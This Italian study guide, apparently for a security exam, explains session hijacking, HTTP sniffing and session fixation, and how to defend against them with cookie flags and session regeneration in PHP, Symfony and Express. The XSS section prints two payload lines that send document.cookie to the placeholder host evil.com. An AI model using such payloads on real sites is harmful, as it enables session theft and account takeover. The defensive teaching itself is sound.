Mappa Session Hijacking#
Session Hijacking e' l'attacco in cui un attaccante ottiene un Session ID valido e lo usa per impersonare un utente autenticato, senza conoscerne username o password. Il principio e' che i server identificano gli utenti tramite il Session ID nel cookie: chiunque presenti un Session ID valido viene trattato come il legittimo proprietario di quella sessione.

Metodi di furto del Session ID#
Ci sono tre vettori principali con cui un attaccante puo' ottenere un Session ID altrui.
XSS + document.cookie#
Il metodo piu' comune in ambiente web. Se la pagina e' vulnerabile a XSS e il cookie di sessione non ha il flag HttpOnly, un payload JavaScript puo' leggere il cookie e inviarlo all'attaccante:
// Payload XSS per furto sessione
fetch('https://evil.com/steal?c=' + document.cookie);
// Oppure con XMLHttpRequest per browser piu' vecchi:
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);L'attaccante riceve il Session ID nel log del suo server, lo imposta nel suo browser con DevTools (Applicazione > Cookie), e accede al sito come la vittima.
Dev parallel: Questa e' la catena di vulnerabilita' piu' classica: XSS + cookie senza HttpOnly = session hijacking garantito. Se hai un form con Stored XSS e i cookie di sessione sono leggibili da JS, la tua applicazione ha una vulnerabilita' critica end-to-end. In PHP,
session.cookie_httponly = 1nelphp.inirisolve il vettore JS. In Express:cookie: { httpOnly: true }nella configurazioneexpress-session. In Symfony:framework.session.cookie_httponly: truenelframework.yaml.
Sniffing HTTP#
Se l'applicazione usa HTTP (non HTTPS), o se una qualsiasi pagina del sito e' raggiungibile via HTTP anche solo parzialmente, il cookie di sessione puo' viaggiare in chiaro e essere catturato da un attaccante in rete locale (WiFi pubblica, rete aziendale).
Firesheep (2010) rese questo attacco mainstream: una estensione Firefox che mostrava la lista di tutti gli utenti sulla stessa WiFi aperta con le loro sessioni Facebook e Twitter attive. Un click per impersonare chiunque. La risposta dell'industria fu la migrazione massiccia verso HTTPS obbligatorio.
# Cattura Wireshark su HTTP: l'attaccante vede
GET /dashboard HTTP/1.1
Host: app.com
Cookie: session=abc123def456 ← leggibile in chiaroIl flag Secure sul cookie impedisce al browser di inviare il cookie su connessioni HTTP, limitandolo solo a HTTPS. Anche se l'utente visita accidentalmente la versione HTTP del sito, il cookie non viene allegato.
Session Fixation#
La session fixation e' un vettore concettualmente diverso dagli altri: l'attaccante non ruba un Session ID, lo impone alla vittima prima che faccia login.
Il flusso: l'attaccante ottiene un Session ID valido (anche come utente anonimo o visitando il sito), invia alla vittima un link con quel Session ID prefissato (nell'URL o tramite injection), la vittima fa login — il server la autentica ma mantiene lo stesso Session ID, l'attaccante usa il Session ID (che conosce da prima) per accedere alla sessione ora autenticata.
1. Attaccante visita app.com → riceve session=ATTACKER_SESSION_ID
2. Invia link alla vittima: https://app.com/login?sessionid=ATTACKER_SESSION_ID
3. Vittima fa login → il server mantiene session=ATTACKER_SESSION_ID
4. Attaccante usa session=ATTACKER_SESSION_ID → e' autenticato come la vittimaLa difesa e' la rigenerazione del Session ID dopo ogni login riuscito. Dopo che le credenziali vengono verificate, il server deve emettere un Session ID completamente nuovo, invalidando quello precedente.
Dev parallel: In PHP:
session_regenerate_id(true)immediatamente dopoif ($credenziali_ok). Il parametrotruecancella il vecchio Session ID sul server (non solo nel client) — senzatrue, il vecchio ID rimane valido. E' un errore comune dimenticare iltrue. In Symfony con il Security Component,AuthenticationSuccessHandlerrigenera automaticamente la sessione dopo un login riuscito — se usi il sistema di autenticazione built-in non devi farlo manualmente. In Express/Node:req.session.regenerate(callback)dopo aver verificato le credenziali. Non confondere conreq.session.destroy()che invalida la sessione completamente.
Cookie sicuro completo#
Un cookie di sessione sicuro deve combinare tutti e tre i flag, piu' attributi di path e scadenza appropriati:
Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600| Attributo | Protegge da | Senza questo attributo |
|---|---|---|
HttpOnly | XSS + furto cookie via document.cookie | JS iniettato puo' leggere il Session ID |
Secure | Sniffing su HTTP (Wireshark, Firesheep) | Cookie inviato in chiaro su HTTP |
SameSite=Strict | CSRF (form cross-site) | Request da evil.com allega il cookie |
Path=/ | Scope corretto del cookie | Cookie inviato a path non necessari |
Max-Age=3600 | Sessioni eterne | Session ID valido per sempre |
Dev parallel: In PHP puro, imposta tutti i parametri in una volta sola con
session_set_cookie_params()prima disession_start():session_set_cookie_params([ 'lifetime' => 3600, 'path' => '/', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict', ]); session_start();Altrimenti, ogni parametro richiede la sua riga
ini_set('session.cookie_httponly', 1), piu' facile dimenticare. In Symfony, tutto questo si configura inconfig/packages/framework.yamlnella sezionesession. In Express, nella configurazione diexpress-sessionil bloccocookie: {}accetta tutti e tre i flag piu'maxAge.
Invalidazione e timeout server-side#
Le difese lato cookie non bastano da sole. Il server deve gestire attivamente il ciclo di vita delle sessioni:
- Timeout di inattivita': sessioni non usate per X minuti vengono invalidate server-side. Anche se l'attaccante ha il cookie, dopo il timeout e' inutile.
- Invalidazione al logout: quando l'utente fa logout, il server deve distruggere la sessione server-side (non solo cancellare il cookie lato client). Cancellare solo il cookie lato client non invalida il Session ID — se l'attaccante lo ha gia' catturato, continua a funzionare.
- Legare la sessione all'IP o User-Agent (con cautela): tecnica aggiuntiva, ma rompe i casi legittimi di cambio IP (mobile, VPN).
Dev parallel: In PHP,
session_destroy()invalida la sessione server-side. Ma l'errore comune e' fare solounset($_SESSION)(che svuota l'array PHP) senza chiamaresession_destroy(): il Session ID rimane valido nel database sessioni. Ilsession_destroy()rimuove fisicamente i dati della sessione dal disco (o dal Redis/Memcached). In Express,req.session.destroy(callback)fa la stessa cosa. Questo e' il tipo di bug sottile che non si vede in sviluppo (dove non hai un attaccante con il tuo cookie) ma e' exploitabile in produzione.
Distinzione con attacchi correlati#
I tre attacchi sui session token si confondono in esame:
| Attacco | Come ottiene il token | Keyword esame |
|---|---|---|
| Session Hijacking | Ruba o forgia il token di sessione (metodo generico) | "steals session token", "impersonates user" |
| Session Prediction | Deduce il token analizzando pattern prevedibili | "guesses Session ID", "predictable tokens" |
| Replay Attack | Cattura un token valido e lo ritrasmette identico | "captured and retransmitted", "same packet twice" |
| Session Fixation | Impone un Session ID noto prima del login | "sets Session ID before login", "forced session" |
La distinzione chiave per l'esame: Session Hijacking e' il termine generale per "usa un token per impersonare". Gli altri (Prediction, Replay, Fixation) descrivono come il token viene ottenuto o come viene usato.
Replay Attack = cattura e ritrasmette un token REALE. Session Prediction = DEDUCE un token senza averlo mai visto (analizza pattern). Session Hijacking = USA un token per impersonare (risultato finale di entrambi i precedenti). Session Fixation = IMPONE un token prima del login. La domanda specifica come l'attaccante ottiene il token determina quale attacco si descrive.
HttpOnly e Secure proteggono da vettori diversi e sono entrambi obbligatori. HttpOnly = il cookie non e' accessibile via JavaScript (protegge da XSS). Secure = il cookie viaggia solo su HTTPS (protegge da sniffing). Un cookie con solo HttpOnly viaggia comunque in chiaro su HTTP. Un cookie con solo Secure e' leggibile da JavaScript. Entrambi devono essere presenti, con SameSite come terzo layer.


